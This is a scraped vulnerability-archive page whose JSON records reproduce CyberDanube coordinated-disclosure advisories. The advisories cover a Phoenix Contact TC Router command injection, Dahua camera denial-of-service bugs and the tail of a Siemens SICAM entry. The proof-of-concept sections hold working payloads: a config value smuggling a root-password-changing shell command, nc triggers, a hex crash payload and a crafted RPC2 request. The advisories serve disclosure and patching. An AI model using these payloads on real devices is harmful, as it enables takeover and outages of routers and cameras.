Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/6"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/6"
        },
        {
          "url": "https://cert-portal.siemens.com/productcert/html/ssa-246443.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://siemens.com/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.siemens.com/global/en/company/about.html"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/6"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260408-0 | Remote Operation Denial of Service in Siemens SICAM A8000",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-27663",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0255",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/6",
            "automated": true,
            "contentSha256": "7d95f78081fc703f96746594c19abdc59bde7143cf43707a3482303ccc3022ef",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/6",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-14T10:43:15Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0255"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-08T08:13:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0255"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    GCVE-1988-2026-0215

    Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
    VLAI
    Title
    CyberDanube Security Research 20260119-0 | Authenticated Command Injection in Phoenix Contact TC Router Series
    Summary
    CyberDanube Security Research 20260119-0 ------------------------------------------------------------------------------- title| Authenticated Command Injection product| TC Router 5004T-5G EU vulnerable version| 1.06.18 fixed version| 1.06.23 CVE number| CVE-2025-41717 impact| High homepage| https://www.phoenixcontact.com/ found| 16.04.2025 by| D. Blagojevic, S. Dietz, F. Koroknai, T. Weber | CyberDanube Security Research | Vienna | St. Pölten | This research was conducted in cooperation with VERBUND | OT Cyber Security Lab during a penetration test. | | https://www.cyberdanube.com | ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- "What we do Connecting, distributing, and controlling power and data flows - we have been developing the right products for this purpose since 1923. Whether in industrial production facilities, in the field of renewable energies, in infrastructure, or for complex device connections: our solutions are used wherever processes must run automatically. Above and beyond their pure function, they help our partners to develop sustainable applications with more efficient processes and reduced costs. We are Phoenix Contact: With innovative products and solutions, we are paving the way to a climate-neutral and sustainable world." Source: https://www.phoenixcontact.com/en-us/company Vulnerable versions ------------------------------------------------------------------------------- Tested on TC Router version 1.06.18 According to the vendor, the following other products are also affected: Product Name | Affected Firmware Version TC ROUTER 3002T-3G | < FW 3.08.8 TC ROUTER 2002T-3G | < FW 3.08.8 TC ROUTER 3002T-4G | < FW 3.08.8 TC ROUTER 3002T-4G GL| < FW 3.08.8 TC ROUTER 5004T-5G EU | < FW 1.06.23 TC ROUTER 3002T-4G VZW | < FW 3.08.8 TC ROUTER 3002T-4G ATT | < FW 3.08.8 TC ROUTER 2002T-4G | < FW 3.08.8 CLOUD CLIENT 1101TTX/TX | < FW 3.07.7 TC CLOUD CLIENT 1002-4G ATT | < FW 3.08.8 TC CLOUD CLIENT 1002-TX/TX | < FW 3.07.7 Vulnerability overview ------------------------------------------------------------------------------- 1) Authenticated Code Execution (CVE-2025-41717) The device is vulnerable to an authenticated code injection. An attacker with valid credentials could abuse this issue to execute code as root. Proof of Concept ------------------------------------------------------------------------------- 1) Authenticated Code Execution (CVE-2025-41717) The config-upload endpoint can be used to inject arbitrary commands which get executed when polling the sock_server. The malicous config changes the root password and enables the service. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <entry name="conf/smtp/auth">1</entry> <entry name="conf/smtp/from">p () t com'$(echo "root:password1!"|ch passwd)'</entry> <entry name="conf/smtp/local">1</entry> <entry name="conf/smtp/password">asdasdasd</entry> <entry name="conf/smtp/port">25</entry> <entry name="conf/smtp/server">192.168.19.138</entry> [...] <entry name="conf/alerts/sock_enable">1</entry> <entry name="conf/alerts/sock_port">14323</entry> <entry name="conf/alerts/sock_xml_io">0</entry> <entry name="conf/alerts/sock_xml_nl">1</entry> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Connecting to the service and sending a mail triggers the command. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $ nc 192.168.19.133 14323 <?xml version="1.0"?> <email to="pwned () pwned com"> <subject>pwned</subject> <body> </body> </email> ------------------------------------------------------------------------------- Solution ------------------------------------------------------------------------------- Install the latest available update. See vendor advisory for detailed version information. Workaround ------------------------------------------------------------------------------- Restrict network access to the device. Recommendation ------------------------------------------------------------------------------- Configuration file reviews are recommended before they got applied to the device. Contact Timeline ------------------------------------------------------------------------------- 2025-07-17: Sent advisory to Phoenix Contact PSIRT. 2025-07-29: Vendor asked for a call to clarify the vulnerabilities. 2025-07-31: Aligned on timeline for September during call. 2025-08-19: Vendor confirmed publications for 2025-10-14. Confirmed the shift. 2025-09-25: Asked the vendor for another call to clarify details regarding all affected devices (including other advisories). 2025-09-26: Talked to vendor to clarify details. 2025-10-09: Asked for CVE Numbers. Received and included them in the advisory. 2025-11-18: Phone call with vendor. Agreed publication date after 2026-01-13. 2026-01-19: Coordinated release of security advisory. Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com EOF T.Weber / @2026 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Credits
    Thomas Weber | CyberDanube via Fulldisclosure
    Relationships
    reference GCVE-1988-2026-0215 (this record)
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260119-0\n-------------------------------------------------------------------------------\n                title| Authenticated Command Injection\n              product| TC Router 5004T-5G EU\n   vulnerable version| 1.06.18\n        fixed version| 1.06.23\n           CVE number| CVE-2025-41717\n               impact| High\n             homepage| https://www.phoenixcontact.com/\n                found| 16.04.2025\n                   by| D. Blagojevic, S. Dietz, F. Koroknai, T. Weber\n                     | CyberDanube Security Research\n                     | Vienna | St. P\u00f6lten\n                     | This research was conducted in cooperation with VERBUND\n                     | OT Cyber Security Lab during a penetration test.\n                     |\n                     | https://www.cyberdanube.com\n                     |\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"What we do\nConnecting, distributing, and controlling power and data flows - we have been\ndeveloping the right products for this purpose since 1923. Whether in\nindustrial production facilities, in the field of renewable energies, in\ninfrastructure, or for complex device connections: our solutions are used\nwherever processes must run automatically. Above and beyond their pure\nfunction, they help our partners to develop sustainable applications with more\nefficient processes and reduced costs.\n\nWe are Phoenix Contact: With innovative products and solutions, we are paving\nthe way to a climate-neutral and sustainable world.\"\n\nSource: https://www.phoenixcontact.com/en-us/company\n\nVulnerable versions\n-------------------------------------------------------------------------------\nTested on TC Router version 1.06.18\n\nAccording to the vendor, the following other products are also affected:\n\nProduct Name | Affected Firmware Version\nTC ROUTER 3002T-3G | \u003c FW 3.08.8\nTC ROUTER 2002T-3G | \u003c FW 3.08.8\nTC ROUTER 3002T-4G | \u003c FW 3.08.8\nTC ROUTER 3002T-4G GL| \u003c FW 3.08.8\nTC ROUTER 5004T-5G EU | \u003c FW 1.06.23\nTC ROUTER 3002T-4G VZW | \u003c FW 3.08.8\nTC ROUTER 3002T-4G ATT | \u003c FW 3.08.8\nTC ROUTER 2002T-4G | \u003c FW 3.08.8\nCLOUD CLIENT 1101TTX/TX | \u003c FW 3.07.7\nTC CLOUD CLIENT 1002-4G ATT | \u003c FW 3.08.8\nTC CLOUD CLIENT 1002-TX/TX | \u003c FW 3.07.7\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Authenticated Code Execution (CVE-2025-41717)\nThe device is vulnerable to an authenticated code injection. An attacker with\nvalid credentials could abuse this issue to execute code as root.\n\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authenticated Code Execution (CVE-2025-41717)\nThe config-upload endpoint can be used to inject arbitrary commands which\nget executed when polling the sock_server. The malicous config changes the\nroot password and enables the service.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\u003centry name=\"conf/smtp/auth\"\u003e1\u003c/entry\u003e\n\u003centry name=\"conf/smtp/from\"\u003ep () t com\u0026apos;$(echo \u0026quot;root:password1!\u0026quot;|ch\npasswd)\u0026apos;\u003c/entry\u003e\n\u003centry name=\"conf/smtp/local\"\u003e1\u003c/entry\u003e\n\u003centry name=\"conf/smtp/password\"\u003easdasdasd\u003c/entry\u003e\n\u003centry name=\"conf/smtp/port\"\u003e25\u003c/entry\u003e\n\u003centry name=\"conf/smtp/server\"\u003e192.168.19.138\u003c/entry\u003e\n[...]\n\u003centry name=\"conf/alerts/sock_enable\"\u003e1\u003c/entry\u003e\n\u003centry name=\"conf/alerts/sock_port\"\u003e14323\u003c/entry\u003e\n\u003centry name=\"conf/alerts/sock_xml_io\"\u003e0\u003c/entry\u003e\n\u003centry name=\"conf/alerts/sock_xml_nl\"\u003e1\u003c/entry\u003e\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nConnecting to the service and sending a mail triggers the command.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n$ nc 192.168.19.133 14323\n\u003c?xml version=\"1.0\"?\u003e\n\u003cemail to=\"pwned () pwned com\"\u003e\n\u003csubject\u003epwned\u003c/subject\u003e\n\u003cbody\u003e\n\u003c/body\u003e\n\u003c/email\u003e\n\n-------------------------------------------------------------------------------\n\n\nSolution\n-------------------------------------------------------------------------------\nInstall the latest available update. See vendor advisory for detailed version\ninformation.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device.\n\n\nRecommendation\n-------------------------------------------------------------------------------\nConfiguration file reviews are recommended before they got applied to the\ndevice.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-07-17: Sent advisory to Phoenix Contact PSIRT.\n2025-07-29: Vendor asked for a call to clarify the vulnerabilities.\n2025-07-31: Aligned on timeline for September during call.\n2025-08-19: Vendor confirmed publications for 2025-10-14. Confirmed the\n            shift.\n2025-09-25: Asked the vendor for another call to clarify details regarding all\n            affected devices (including other advisories).\n2025-09-26: Talked to vendor to clarify details.\n2025-10-09: Asked for CVE Numbers. Received and included them in the advisory.\n2025-11-18: Phone call with vendor. Agreed publication date after 2026-01-13.\n2026-01-19: Coordinated release of security advisory.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF T.Weber / @2026\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/3"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/3"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.phoenixcontact.com/"
        },
        {
          "url": "https://www.phoenixcontact.com/en-us/company"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/3"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260119-0 | Authenticated Command Injection in Phoenix Contact TC Router Series",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-41717",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0215",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/3",
            "automated": true,
            "contentSha256": "c9702fb15d54ece4ebd9f6086a5c649d6996044d58fa6aebcf87ec01675ee827",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/3",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-03T11:13:05Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0215"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-08T07:57:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0215"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    GCVE-1988-2026-0112

    Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-07 13:20
    VLAI
    Title
    CyberDanube Security Research 20260611-0 | Multiple Denial of Service Vulnerabilities in Dahua IPC/SD/NVR/XVR/EVS/VTO/VTH/ASI/TPC Camera Series
    Summary
    CyberDanube Security Research 20260611-0 ------------------------------------------------------------------------------- title| Multiple Denial of Service product| Dahua DH-IPC-HFW Series vulnerable version| <=V3.142.0000000.8.R.250826 fixed version| Versions build including and after 2026-03-26. CVE number| CVE-2026-29115, CVE-2026-29116 impact| High homepage| https://www.dahuasecurity.com/ found| 20.10.2025 by| T. Weber, S. Eisenreich-Dietz | (Office Vienna) | CyberDanube Security Research | Vienna | | https://www.cyberdanube.com ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- "Dahua Technology is a world-leading video-centric AIoT solution and service provider. Committed to enabling a smarter society and better living, Dahua actively implements its Dahua Think#2.0 strategy, evolving from “Intelligence” to “Integrated Intelligence” to drive digital innovation and transformation for cities and enterprises. The company supports urban development by enhancing management efficiency, enabling autonomous city operations, upgrading public safety systems, and advancing ecological governance. In the enterprise sector, Dahua focuses on strengthening security systems, increasing operational productivity, and enabling data-driven decision-making to help businesses thrive." Source: https://www.dahuasecurity.com/aboutUs/introduction/0 Vulnerable versions ------------------------------------------------------------------------------- DH_IPC-HX5XXX-single-Riemann_MultiLang_PN_Stream4_V3.142.0000000.8.R.250826 We know that more firmware versions are prone to this DoS vulnerabilities, but we cannot determine all exact versions. Other cameras from Dahua seems to not have a watchdog. Therefore, they do not trigger an automatic reboot and stay in a temporary bricked state. According to the vendor, the following series are affected: "Part of IPC、SD、NVR、XVR、EVS、VTO、VTH、ASI、TPC" See: https://www.dahuasecurity.com/about-dahua/trust-center/dahua-psirt/dhcc-sa-202606-001:-security-advisory-%E2%80%93-vulnerabilities-found-in-some-dahua-products https://materialfile.dahuasecurity.com/new_uploads_formal/soft/20260609/Affected_Models.pdf Vulnerability overview ------------------------------------------------------------------------------- 1) Authenticated Denial-of-Service (CVE-2026-29115) A temporary DoS (Denial of Service) condition can be triggered on the device. This leads to a reboot of the full system, which affects its availability. 2) Unauthenticated Denial-of-Service (CVE-2026-29116) A Denial of Service condition can be triggered on the device, which is temporary on newer camera series but can also be persisten on older Dahua devices. This is due to the usage of a watchdog in the newer camera firmware. Proof of Concept ------------------------------------------------------------------------------- 1) Authenticated Denial-of-Service (CVE-2026-29115) The following command can be used to force the denial of service state: $ echo -ne "\x20\x00\x00\x00\x44\x48\x49\x50\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x00\x00\x00\x00\x00\x00\x00\x49\x00\x00\x00\x00\x00\x00\x00\x49\x00\x00\x00\x00\x00\x00\x00\x7b\x20\x0a" | nc 192.168.19.136 80 The address 192.168.19.136 was used in this example as camera IP. After executing, the web server crashes and the device triggers a reboot. This takes a few minutes, resulting in black screens on the video surveillance systems on the windows clients for that time. 2) Unauthenticated Denial-of-Service (CVE-2026-29116) An authenticated attacker can crash the webserver with a crafted request under the condition, that an SD card is inserted. If both pre-conditions are met, the following POST request can be used to kill the web server: ----------------------------------------------------- POST /RPC2 HTTP/1.1 Host: 192.168.19.136 Content-Length: 139 Accept-Language: de-DE,de;q=0.9 Accept: application/json, text/plain, / Content-Type: application/json Origin: http://192.168.19.136 Referer: http://192.168.19.136/ Accept-Encoding: gzip, deflate, br Cookie: WebClientHttpSessionID=<Session-ID> Connection: keep-alive {"method":"workDirectory.factory.instance","params":{"name":"/mnt/dvr/mmc2p2_0aaaa"},"id":213,"session":"<Session-ID>"} ----------------------------------------------------- The address 192.168.19.136 was used in this example as camera IP. After executing, the web server crashes and the device triggers a reboot. This takes a few minutes, resulting in black screens on the video surveillance systems on the windows clients for that time. Solution ------------------------------------------------------------------------------- Install patches immediately. Workaround ------------------------------------------------------------------------------- Restrict network access to the device in the infrastructure. Do not expose the web interface to the Internet or in public networks. Recommendation ------------------------------------------------------------------------------- CyberDanube recommends to perform a white-box security assessment of the Dahua DH-IPC-HFWXXXX devices. Contact Timeline ------------------------------------------------------------------------------- 2025-12-18: Contacting Dahua PSIRT via cybersecurity () dahuatech com and sending advisory; No answer. 2026-02-04: Asking for a timeline; No answer. 2026-02-24: Asking for a timeline; No answer. 2026-03-05: Asking for a timeline and including psirt () dahuatech com. PSIRT apologizes for inconvenience. The email was suspected to be filtered. 2026-03-09: Exchanging PGP keys, trying to communicate back an forth. PSIRT did not received some emails from CyberDanube that were sent. 2026-03-12: Re-sending advisory. PSIRT did not receive it. 2026-03-16: Re-sending advisory. Confirmation from PSIRT. 2026-03-17: PSIRT confirms the vulnerabilities and asked for shifting the disclosure date back by 90 days. Agreed due to the criticality of the finding and the mass-usage of this products. 2026-03-20/23/27: Ongoing communication in both directions. 2026-06-04: Asked for the exact disclosure date for the Dahua announcement. PSIRT responded that it will go public 2026-06-10. 2026-06-11: Coordinated disclosure of vulnerabilities. Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com EOF T. Weber / @2026 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Credits
    Thomas Weber | CyberDanube via Fulldisclosure
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260611-0\n-------------------------------------------------------------------------------\ntitle| Multiple Denial of Service\nproduct| Dahua DH-IPC-HFW Series\nvulnerable version| \u003c=V3.142.0000000.8.R.250826\nfixed version| Versions build including and after 2026-03-26.\nCVE number| CVE-2026-29115, CVE-2026-29116\nimpact| High\nhomepage| https://www.dahuasecurity.com/\nfound| 20.10.2025\nby| T. Weber, S. Eisenreich-Dietz\n| (Office Vienna)\n| CyberDanube Security Research\n| Vienna\n|\n| https://www.cyberdanube.com\n-------------------------------------------------------------------------------\nVendor description\n-------------------------------------------------------------------------------\n\"Dahua Technology is a world-leading video-centric AIoT solution and service\nprovider. Committed to enabling a smarter society and better living, Dahua\nactively implements its Dahua Think#2.0 strategy, evolving from \u201cIntelligence\u201d\nto \u201cIntegrated Intelligence\u201d to drive digital innovation and transformation for\ncities and enterprises. The company supports urban development by enhancing\nmanagement efficiency, enabling autonomous city operations, upgrading public\nsafety systems, and advancing ecological governance. In the enterprise sector,\nDahua focuses on strengthening security systems, increasing operational\nproductivity, and enabling data-driven decision-making to help businesses\nthrive.\"\nSource: https://www.dahuasecurity.com/aboutUs/introduction/0\nVulnerable versions\n-------------------------------------------------------------------------------\nDH_IPC-HX5XXX-single-Riemann_MultiLang_PN_Stream4_V3.142.0000000.8.R.250826\nWe know that more firmware versions are prone to this DoS vulnerabilities, but\nwe cannot determine all exact versions. Other cameras from Dahua seems to not\nhave a watchdog. Therefore, they do not trigger an automatic reboot and stay in\na temporary bricked state.\nAccording to the vendor, the following series are affected:\n\"Part of IPC\u3001SD\u3001NVR\u3001XVR\u3001EVS\u3001VTO\u3001VTH\u3001ASI\u3001TPC\"\nSee:\nhttps://www.dahuasecurity.com/about-dahua/trust-center/dahua-psirt/dhcc-sa-202606-001:-security-advisory-%E2%80%93-vulnerabilities-found-in-some-dahua-products\nhttps://materialfile.dahuasecurity.com/new_uploads_formal/soft/20260609/Affected_Models.pdf\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Authenticated Denial-of-Service (CVE-2026-29115)\nA temporary DoS (Denial of Service) condition can be triggered on the device.\nThis leads to a reboot of the full system, which affects its availability.\n2) Unauthenticated Denial-of-Service (CVE-2026-29116)\nA Denial of Service condition can be triggered on the device, which is\ntemporary on newer camera series but can also be persisten on older Dahua\ndevices. This is due to the usage of a watchdog in the newer camera firmware.\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authenticated Denial-of-Service (CVE-2026-29115)\nThe following command can be used to force the denial of service state:\n$ echo -ne \n\"\\x20\\x00\\x00\\x00\\x44\\x48\\x49\\x50\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7b\\x20\\x0a\"\n | nc 192.168.19.136 80\nThe address 192.168.19.136 was used in this example as camera IP. After\nexecuting, the web server crashes and the device triggers a reboot. This takes\na few minutes, resulting in black screens on the video surveillance systems on\nthe windows clients for that time.\n2) Unauthenticated Denial-of-Service (CVE-2026-29116)\nAn authenticated attacker can crash the webserver with a crafted request under\nthe condition, that an SD card is inserted. If both pre-conditions are met, the\nfollowing POST request can be used to kill the web server:\n-----------------------------------------------------\nPOST /RPC2 HTTP/1.1\nHost: 192.168.19.136\nContent-Length: 139\nAccept-Language: de-DE,de;q=0.9\nAccept: application/json, text/plain, /\nContent-Type: application/json\nOrigin: http://192.168.19.136\nReferer: http://192.168.19.136/\nAccept-Encoding: gzip, deflate, br\nCookie: WebClientHttpSessionID=\u003cSession-ID\u003e\nConnection: keep-alive\n{\"method\":\"workDirectory.factory.instance\",\"params\":{\"name\":\"/mnt/dvr/mmc2p2_0aaaa\"},\"id\":213,\"session\":\"\u003cSession-ID\u003e\"}\n-----------------------------------------------------\nThe address 192.168.19.136 was used in this example as camera IP. After\nexecuting, the web server crashes and the device triggers a reboot. This takes\na few minutes, resulting in black screens on the video surveillance systems on\nthe windows clients for that time.\nSolution\n-------------------------------------------------------------------------------\nInstall patches immediately.\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device in the infrastructure. Do not expose the\nweb interface to the Internet or in public networks.\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the Dahua\nDH-IPC-HFWXXXX devices.\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-12-18: Contacting Dahua PSIRT via cybersecurity () dahuatech com and sending\nadvisory; No answer.\n2026-02-04: Asking for a timeline; No answer.\n2026-02-24: Asking for a timeline; No answer.\n2026-03-05: Asking for a timeline and including psirt () dahuatech com. PSIRT\napologizes for inconvenience. The email was suspected to be\nfiltered.\n2026-03-09: Exchanging PGP keys, trying to communicate back an forth. PSIRT\ndid not received some emails from CyberDanube that were sent.\n2026-03-12: Re-sending advisory. PSIRT did not receive it.\n2026-03-16: Re-sending advisory. Confirmation from PSIRT.\n2026-03-17: PSIRT confirms the vulnerabilities and asked for shifting the\ndisclosure date back by 90 days. Agreed due to the criticality of\nthe finding and the mass-usage of this products.\n2026-03-20/23/27: Ongoing communication in both directions.\n2026-06-04: Asked for the exact disclosure date for the Dahua announcement.\nPSIRT responded that it will go public 2026-06-10.\n2026-06-11: Coordinated disclosure of vulnerabilities.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\nEOF T. Weber / @2026\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-07T13:20:22Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/120"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/120"
        },
        {
          "url": "http://192.168.19.136"
        },
        {
          "url": "http://192.168.19.136/"
        },
        {
          "url": "https://materialfile.dahuasecurity.com/new_uploads_formal/soft/20260609/Affected_Models.pdf"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.dahuasecurity.com/"
        },
        {
          "url": "https://www.dahuasecurity.com/about-dahua/trust-center/dahua-psirt/dhcc-sa-202606-001:-security-advisory-%E2%80%93-vulnerabilities-found-in-some-dahua-products"
        },
        {
          "url": "https://www.dahuasecurity.com/aboutUs/introduction/0"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/120"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260611-0 | Multiple Denial of Service Vulnerabilities in Dahua IPC/SD/NVR/XVR/EVS/VTO/VTH/ASI/TPC Camera Series",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0112",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/120",
            "automated": true,
            "contentSha256": "54334e7e0ace4f2bcef1a02ca2dda1ed94f701594b5a60243bb33f40605d3c52",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/120",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-27T12:13:12Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-07T13:20:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0112"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}